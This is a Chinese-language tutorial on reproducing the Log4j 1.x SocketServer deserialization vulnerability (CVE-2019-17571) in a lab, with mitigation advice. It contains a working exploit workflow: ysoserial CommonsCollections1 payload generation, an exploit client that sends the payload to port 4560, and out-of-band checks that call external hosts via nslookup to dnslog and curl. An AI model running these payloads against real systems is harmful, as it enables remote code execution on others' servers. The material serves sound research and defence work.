从零复现Apache Log4j 1.x反序列化漏洞(CVE-2019-17571)

发布时间:2026/6/26 17:31:54
从零复现Apache Log4j 1.x反序列化漏洞(CVE-2019-17571) 1. 项目概述为什么我们要亲手搭建一个“危险”的环境如果你是一名安全研究员、渗透测试工程师或者是一名对Java安全有浓厚兴趣的开发者那么“复现漏洞”这个词对你来说一定不陌生。它不像CTF比赛那样充满竞技性也不像直接利用现成工具进行攻击那样“快餐化”。复现尤其是从零开始构建漏洞环境并进行深度复现更像是一次外科手术式的解剖。你需要亲手准备“手术台”漏洞环境找到“病灶”漏洞点并清晰地展示“病理”漏洞原理。今天我们要聊的就是这样一个经典案例Apache Log4j 1.x系列中的SocketServer反序列化漏洞编号CVE-2019-17571。这个漏洞虽然不像它的“后辈”Log4ShellCVE-2021-44228那样轰动全球但却是理解Java反序列化攻击链一个极佳的入门标本。它涉及了Log4j 1.x的SocketServer组件攻击者可以通过网络发送恶意的序列化对象在服务端触发反序列化从而执行任意代码。听起来很抽象别急我们的目标就是让它变得具体。网络上关于这个漏洞的分析文章不少但大多停留在原理描述和简单的漏洞利用演示对于“如何从头搭建一个可供研究、调试的完整环境”往往一笔带过。这让很多想深入学习的朋友望而却步感觉中间缺了最关键的一环——动手的路径。所以这篇内容的核心就是“从零到一”。我们不依赖任何现成的、封装好的漏洞靶场或一键脚本而是从一个干净的虚拟机或开发机开始一步步地下载指定版本的Log4j源码、编译、配置SocketServer、编写一个简单的服务端和客户端测试程序、构造恶意序列化载荷、最后在调试器中亲眼见证漏洞的触发和执行流。这个过程你会遇到各种预料之中和预料之外的问题比如依赖冲突、JDK版本兼容性、序列化载荷构造失败等等而解决这些问题的经验恰恰是比漏洞原理本身更宝贵的财富。通过这次深度复现你不仅能彻底搞懂CVE-2019-17571更能掌握一套研究Java反序列化漏洞的通用方法论未来面对其他类似漏洞时你将拥有独立分析的能力。2. 漏洞原理深度解析SocketServer与反序列化的危险邂逅在动手之前我们必须先搞清楚敌人是谁以及它为什么会出现。CVE-2019-17571的根源在于Apache Log4j 1.2.x版本中一个用于通过网络接收日志事件的组件SocketServer。2.1 Log4j 1.x的SocketServer设计初衷在分布式系统或早期架构中有时需要将多个应用服务器的日志集中收集到一台日志服务器上。Log4j 1.x的SocketServer就是为了这个目的而生的。它是一个独立的Java应用启动后会监听一个指定的TCP端口默认4560。其他应用程序客户端可以使用Log4j的SocketAppender将日志事件序列化成Java对象然后通过网络发送给这个SocketServer。SocketServer接收到数据后会对其进行反序列化还原成日志事件对象然后调用本地的Log4j配置来处理这个日志事件比如输出到文件或控制台。这个设计在当时看来是高效的因为它避免了传输纯文本日志直接传递对象。2.2 致命缺陷不受信任的反序列化问题的核心就出在“反序列化”这个操作上。Java的反序列化机制功能强大它可以根据字节流重新构造出完整的对象图包括执行对象的readObject方法。SocketServer在SocketNode.run()方法中毫无戒备地对其从网络套接字中读取的数据执行了ObjectInputStream.readObject()。关键漏洞代码位于org.apache.log4j.net.SocketNode类中ObjectInputStream ois new ObjectInputStream(new BufferedInputStream(socket.getInputStream())); while(true) { LoggingEvent event; try { event (LoggingEvent) ois.readObject(); // 危险操作 } catch (EOFException e) { return; } // ... 处理event }这里创建了一个ObjectInputStream它直接关联了网络输入流。当ois.readObject()被调用时它会忠实地反序列化从客户端发送来的任何数据。这里没有任何白名单校验、没有任何类型过滤、也没有任何签名验证。它默认假设客户端发送来的永远是合法的LoggingEvent对象。2.3 攻击链的形成从LoggingEvent到任意代码执行攻击者正是利用了这个天真的假设。他不需要发送一个合法的LoggingEvent而是可以发送任何一个精心构造的、实现了Serializable接口的恶意对象。这个恶意对象在其readObject方法中或者在其某个属性的readObject方法中可以包含任意代码。一个经典的攻击链是利用Apache Commons Collections库版本3.0, 3.1, 3.2.1, 4.0等。该库中一些类的readObject方法在反序列化时会触发Transformer链的调用最终可以执行命令。例如InvokerTransformer这个类它可以利用反射调用任意方法。通过链式组合多个Transformer攻击者可以构造出Runtime.exec()或ProcessBuilder.start()的调用链从而在目标服务器上执行系统命令。所以完整的攻击路径是攻击者编写一个利用Apache Commons Collections库的恶意序列化对象Payload。攻击者连接到运行着有漏洞Log4jSocketServer的服务器端口如4560。攻击者直接将恶意Payload的字节流发送给该端口。SocketServer的SocketNode线程读取数据并调用readObject()。反序列化过程触发恶意对象中的readObject逻辑执行Transformer链。Transformer链通过反射调用Runtime.getRuntime().exec(“恶意命令”)完成远程代码执行。注意这里存在一个常见的误解认为漏洞在LoggingEvent对象本身。实际上漏洞在于反序列化过程本身不设防。即使你强制转换(LoggingEvent)在转换发生之前反序列化这个动作就已经执行了恶意代码。ClassCastException是在恶意代码执行之后才抛出的已经无法阻止攻击生效。3. 从零开始构建漏洞复现环境理解了原理我们现在开始搭建战场。一个可控、可调试的环境是深度复现的基础。我推荐在虚拟机如VirtualBox Ubuntu或独立的Docker容器中进行避免污染宿主机环境。3.1 基础环境准备首先我们需要一个干净的Java开发环境。因为这个漏洞影响Log4j 1.2.x而高版本JDK在安全特性上可能对反序列化有更多限制为了完美复现我们选择JDK 8。它既是长期支持版本也与那个时代的库兼容性最好。# 在Ubuntu系统上安装OpenJDK 8 sudo apt update sudo apt install openjdk-8-jdk -y # 验证安装 java -version # 应显示类似 “openjdk version “1.8.0_xxx””接下来我们需要一个IDE来方便地查看源码、编译和调试。IntelliJ IDEA Community Edition是绝佳选择它对学生和开发者免费且对Java的支持无与伦比。同样你也可以使用Eclipse或VS Code。3.2 获取并编译有漏洞的Log4j版本漏洞影响Log4j 1.2.x我们选择1.2.17版本进行复现这是1.x系列最后一个重要版本也受此漏洞影响。下载源码前往Apache Archive仓库下载。你可以直接搜索 “apache log4j 1.2.17 source release”。解压并导入IDE将下载的apache-log4j-1.2.17.tar.gz解压。在IntelliJ IDEA中选择 “Open”然后定位到解压后的文件夹。IDEA会识别为Maven项目虽然它很老用的是Ant但IDEA通常能处理。解决依赖与编译老项目可能会缺少依赖。你需要确保javax.mail、javax.jms、javax.servlet等JAR包在classpath中。最简单的方法是使用Maven来管理依赖。你可以创建一个新的Maven项目然后将Log4j的源码复制到src/main/java下并在pom.xml中添加必要的依赖。或者直接使用Ant执行build.xml中的编译目标。为了省事我通常直接寻找该版本预编译的JAR包log4j-1.2.17.jar用于测试但同时保留源码用于调试。实操心得直接编译旧版Apache项目有时像考古。如果遇到编译错误优先尝试寻找预编译的二进制JAR包。从Maven中央仓库如 https://repo1.maven.org/maven2/log4j/log4j/1.2.17/直接下载log4j-1.2.17.jar是最快的方式。我们的重点是复现漏洞而非重现完整的构建流程。3.3 构造漏洞利用的核心恶意Payload库要利用反序列化漏洞我们需要一个能生成恶意序列化数据的工具。历史上最著名的是ysoserial项目。它收集了针对各种Java库包括Commons Collections, Spring, Groovy等的“Gadget Chain”可以生成导致命令执行或其它效果的Payload。克隆并编译ysoserialgit clone https://github.com/frohoff/ysoserial.git cd ysoserial mvn clean package -DskipTests编译成功后在target目录下会生成ysoserial-0.0.6-SNAPSHOT-all.jar版本号可能不同。理解Payload生成ysoserial的使用方式如下java -jar ysoserial.jar [gadget-chain] “[command]” payload.ser例如针对Commons Collections 3.1使用CommonsCollections1链java -jar ysoserial.jar CommonsCollections1 “calc.exe” payload.ser这条命令会生成一个执行calc.exe计算器的序列化Payload并保存到payload.ser文件中。这个文件的内容就是我们即将发送给SocketServer的“子弹”。注意事项ysoserial是一个纯粹的漏洞研究工具请仅在你自己完全控制的实验环境中使用。其中包含的Payload可能会对系统造成实际影响。务必在虚拟机或隔离的容器中操作。3.4 编写测试服务端与客户端为了清晰地观察漏洞我们不直接使用Log4j官方SocketServer的启动类而是自己写一个简化的、便于调试的服务端程序。简化版漏洞服务端 (VulnerableServer.java)import org.apache.log4j.net.SocketServer; import java.io.*; import java.net.ServerSocket; import java.net.Socket; public class VulnerableServer { public static void main(String[] args) throws Exception { int port 4560; System.out.println(“[*] Starting vulnerable SocketServer on port “ port); // 为了更直观我们手动实现一个类似SocketNode的循环 ServerSocket serverSocket new ServerSocket(port); while (true) { try (Socket clientSocket serverSocket.accept()) { System.out.println(“[] Accepted connection from “ clientSocket.getInetAddress()); // 关键漏洞代码直接反序列化 ObjectInputStream ois new ObjectInputStream(new BufferedInputStream(clientSocket.getInputStream())); Object obj ois.readObject(); // 漏洞触发点 System.out.println(“[!] Deserialized object: “ obj.getClass().getName()); // 通常这里会期望一个LoggingEvent但攻击者可以发送任何对象 if (obj instanceof org.apache.log4j.spi.LoggingEvent) { System.out.println(“[*] Received a legitimate LoggingEvent.”); } else { System.out.println(“[x] Received unexpected object type. Potential attack!”); } } catch (Exception e) { System.err.println(“[x] Error handling client: “ e.getMessage()); e.printStackTrace(); } } } }这个服务端剥离了Log4j的日志处理逻辑只保留了最核心的“接收连接-反序列化”步骤使得调试时干扰更少。合法客户端 (LegitClient.java) 我们还需要一个合法的客户端用于发送真正的LoggingEvent以验证服务的正常功能并与攻击流量形成对比。import org.apache.log4j.*; import java.io.ObjectOutputStream; import java.net.Socket; public class LegitClient { public static void main(String[] args) throws Exception { Socket socket new Socket(“localhost”, 4560); Logger logger Logger.getLogger(LegitClient.class); LoggingEvent event new LoggingEvent( “org.apache.log4j.Logger”, logger, System.currentTimeMillis(), Level.INFO, “This is a normal log message”, null ); ObjectOutputStream oos new ObjectOutputStream(socket.getOutputStream()); oos.writeObject(event); oos.flush(); oos.close(); socket.close(); System.out.println(“[*] Legitimate LoggingEvent sent.”); } }4. 漏洞触发与深度调试分析环境备齐弹药上膛现在是扣动扳机的时刻。我们将分步进行攻击复现并用调试器深入观察执行流。4.1 启动漏洞服务并附加调试器首先在IDE中运行我们编写的VulnerableServer。确保classpath中包含log4j-1.2.17.jar以及其所有依赖如commons-collections-3.1.jar这是漏洞链能触发的关键。在IntelliJ IDEA中你可以直接点击运行并在“Edit Configurations”中确保JAR包被正确添加。为了调试我们需要在ObjectInputStream.readObject()这一行打上断点。然后以Debug模式启动服务端。服务端会停在断点处等待客户端连接。4.2 发送合法流量进行基线测试在另一个终端或IDE实例中运行LegitClient。观察服务端调试控制台连接被接受。程序执行到ois.readObject()断点处。步进Step IntoreadObject方法你会看到Java序列化机制开始工作从流中读取数据并尝试构建对象。最终反序列化成功obj被赋值为一个LoggingEvent实例。程序继续打印出接收到合法日志事件的消息。这个过程建立了“正常行为”的基准帮助我们理解合法流量是如何被处理的。4.3 生成并发送恶意Payload现在使用ysoserial生成恶意Payload。假设我们想让目标服务器弹出一个计算器在Linux上可能是gnome-calculator或xcalc在Windows上为calc.exe并假设服务器上存在commons-collections-3.1.jar。# 生成Payload保存为文件 java -jar ysoserial.jar CommonsCollections1 “gnome-calculator” malicious_payload.ser接下来我们需要一个简单的攻击客户端ExploitClient.java它不关心协议只是简单地将文件内容发送到目标端口。import java.io.*; import java.net.Socket; import java.nio.file.Files; import java.nio.file.Paths; public class ExploitClient { public static void main(String[] args) throws Exception { String host “localhost”; int port 4560; String payloadFile “malicious_payload.ser”; byte[] payloadBytes Files.readAllBytes(Paths.get(payloadFile)); try (Socket socket new Socket(host, port); OutputStream os socket.getOutputStream()) { os.write(payloadBytes); os.flush(); System.out.println(“[*] Malicious payload sent to “ host “:” port); } } }运行这个攻击客户端。瞬间你会看到服务端调试器的变化。4.4 调试器中的攻击现场实录当攻击客户端的字节流抵达服务端ois.readObject()被调用。这一次步进调试将带你进入完全不同的世界步入readObjectJava开始解析我们发送的字节流。它读取类的描述符。此时它读到的不是org.apache.log4j.spi.LoggingEvent而是ysoserialpayload中涉及的类例如org.apache.commons.collections.functors.InvokerTransformer。触发Gadget Chain反序列化过程会递归地创建所有对象成员。当反序列化到InvokerTransformer对象时其readObject方法会被调用。在这个方法内部它可能会读取我们预设的“要反射调用的方法名和参数”。观察调用栈在调试器中不断步进或使用“Resume Program”F9让程序继续。很快你会看到调用栈Call Stack变得非常深并且出现了TransformedMap、ChainedTransformer、ConstantTransformer等commons-collections中的类。它们像多米诺骨牌一样被依次触发。最终执行点调用栈的最终端你会看到类似Method.invoke()的调用参数是Runtime.class和getRuntime。紧接着下一个调用就是Runtime.exec(“gnome-calculator”)。此时如果你在图形界面的实验环境中计算器程序就会被启动。异常与后续恶意代码执行完毕后反序列化过程可能因为对象图不完整或类型转换失败而抛出ClassCastException无法将恶意对象转换为LoggingEvent。但这已经是在命令执行之后了攻击已然成功。服务端会打印异常栈但进程通常不会崩溃会继续等待下一个连接。实操心得调试反序列化漏洞时关键不是死磕readObject的每一步而是利用调试器的“断点条件”和“方法断点”功能。你可以在Runtime.exec或ProcessBuilder.start方法上打上断点这样无论调用栈多复杂程序都会在执行命令前停住让你清晰地看到攻击链的终点。5. 漏洞修复方案与防御思路分析复现漏洞是为了更好地修复和防御。Apache官方针对CVE-2019-17571的修复方式很直接在Log4j 1.2.17之后移除了SocketServer类中基于Java原生序列化的实现转而使用更简单的XML格式或其它安全格式进行网络日志传输。对于无法升级到Log4j 2.x的用户建议的缓解措施包括升级或替换首选方案是升级到Apache Log4j 2.x。Log4j 2.x的架构重写默认不包含不安全的反序列化组件并且提供了丰富的安全特性。如果必须使用1.x应升级到最新修补版本并确认相关危险组件已被移除或加固。网络隔离与访问控制如果因历史原因必须使用有漏洞的版本那么严格限制SocketServer端口的网络访问是必须的。通过防火墙策略只允许受信任的、内部的日志发送源IP地址访问该端口禁止从互联网或非信任区域访问。使用反序列化过滤器JDK 9对于使用较新JDK版本的环境可以利用ObjectInputFilterJEP 290机制来为ObjectInputStream设置反序列化过滤器。可以创建一个只允许org.apache.log4j.spi.LoggingEvent类的白名单过滤器从根本上阻断恶意对象的反序列化。// JDK 9 示例 ObjectInputStream ois new ObjectInputStream(inputStream); ObjectInputFilter filter ObjectInputFilter.allowFilter( cl - cl org.apache.log4j.spi.LoggingEvent.class, ObjectInputFilter.Status.REJECTED ); ois.setObjectInputFilter(filter); Object obj ois.readObject();代码层加固如果能够修改源码可以在自定义的SocketServer中使用安全的反序列化库如Jackson的ObjectMapper配合多态类型处理的安全配置或Kryo开启安全模式或者彻底放弃Java原生序列化改用JSON、Protobuf等格式。6. 复现过程中的常见问题与排查技巧在实际动手复现时你几乎一定会遇到下面这些问题。这里我把自己踩过的坑和解决方法记录下来希望能帮你节省大量时间。问题1ysoserial生成的Payload执行了但没弹出计算器或者没任何反应。可能原因与排查命令兼容性calc.exe是Windows命令。在Linux/Mac上需要换成gnome-calculator、xcalc或touch /tmp/pwned这样的命令来验证。使用id /tmp/test将输出重定向到文件是更可靠的验证方式。权限问题服务端Java进程可能没有图形界面GUI的执行权限或者在无头headless服务器环境中。使用创建文件、执行whoami、ping本地回环地址等命令来验证。Commons Collections版本不匹配ysoserial中的CommonsCollections1链针对的是Commons Collections 3.1版本。确保你的服务端classpath中引入的JAR包版本是精确匹配的。如果服务端用的是3.2.2这个链可能失效。尝试使用ysoserial的其他链如CommonsCollections2,CommonsCollections3等它们针对不同版本的库。JDK版本过高高版本JDK如8u121之后内置了反序列化过滤器等安全机制可能会阻断某些Gadget链。这也是为什么我们推荐使用JDK 8早期版本进行复现学习。问题2服务端在readObject时直接抛出ClassNotFoundException或InvalidClassException。可能原因与排查类路径缺失ysoserial的Payload中使用了commons-collections等库中的类。你必须确保这些类的JAR包在服务端进程的classpath中。启动服务端时通过-cp参数显式指定所有依赖JAR。Java版本序列化ID不兼容不同JDK版本或不同库版本间同一个类的serialVersionUID可能不同。确保生成Payload的环境JDK版本、库版本与运行服务端的环境尽可能一致。问题3调试时恶意代码似乎执行了但服务端进程突然退出或卡死。可能原因与排查Payload导致线程阻塞或资源耗尽某些复杂的Gadget链可能会发起网络连接、创建大量线程等。在调试时这可能导致进程异常。尝试使用更简单的验证命令如sleep 5。异常未被捕获我们的简易服务端用try-catch包裹了整个处理循环一般不会因异常退出。检查是否在main方法或循环外有未捕获的异常。确保调试器没有设置在“未捕获异常时中断”。问题4如何验证漏洞是否存在而不实际执行危险命令排查技巧这是渗透测试中的关键。可以使用“盲注”式的Payload例如DNS外带使用nslookup或ping命令将包含唯一子域名的请求发送到你能控制的DNS服务器如Burp Collaborator或dnslog.cn。java -jar ysoserial.jar CommonsCollections1 “nslookup your-unique-id.dnslog.cn”。如果DNS日志收到查询证明漏洞存在且命令可执行。HTTP请求使用curl或wget访问一个特定URL。java -jar ysoserial.jar CommonsCollections1 “curl http://your-server/test。在你的服务器查看访问日志。时间延迟使用sleep 10命令观察服务器响应是否出现延迟。这种方法不产生网络流量但可靠性稍差。问题5在真实、复杂的老旧系统中如何快速定位是否存在此类漏洞排查技巧组件梳理使用ps aux | grep java查看进程结合lsof -p [PID]查看打开的文件或检查应用启动脚本确定其使用的log4j.jar版本。1.2.x版本即存在风险。端口扫描使用netstat -tlnp或nmap扫描服务器查看是否开放了4560或其他自定义的、可能由SocketServer监听的端口。流量分析如果条件允许可以在该端口抓包tcpdump -i any port 4560 -w log4j.pcap分析其通信协议。如果流量开头是Java序列化的魔数AC ED 00 05十六进制则基本确认使用了Java原生序列化风险极高。代码审计搜索代码库中对org.apache.log4j.net.SocketServer、ObjectInputStream.readObject()的调用。构建并复现CVE-2019-17571的过程是一次对Java反序列化漏洞的微观解剖。它不仅仅关乎一个具体的漏洞更揭示了“信任边界”的重要性——永远不要反序列化来自不可信源的数据。通过亲手搭建环境、跟踪调试、解决问题你获得的对漏洞机理、利用链构造和防御策略的理解是任何理论文章都无法替代的。当你下次再听到“反序列化漏洞”时脑海中浮现的将不再是模糊的概念而是一幅清晰的、从字节流到系统命令执行的完整画面。这才是深度复现带来的真正价值。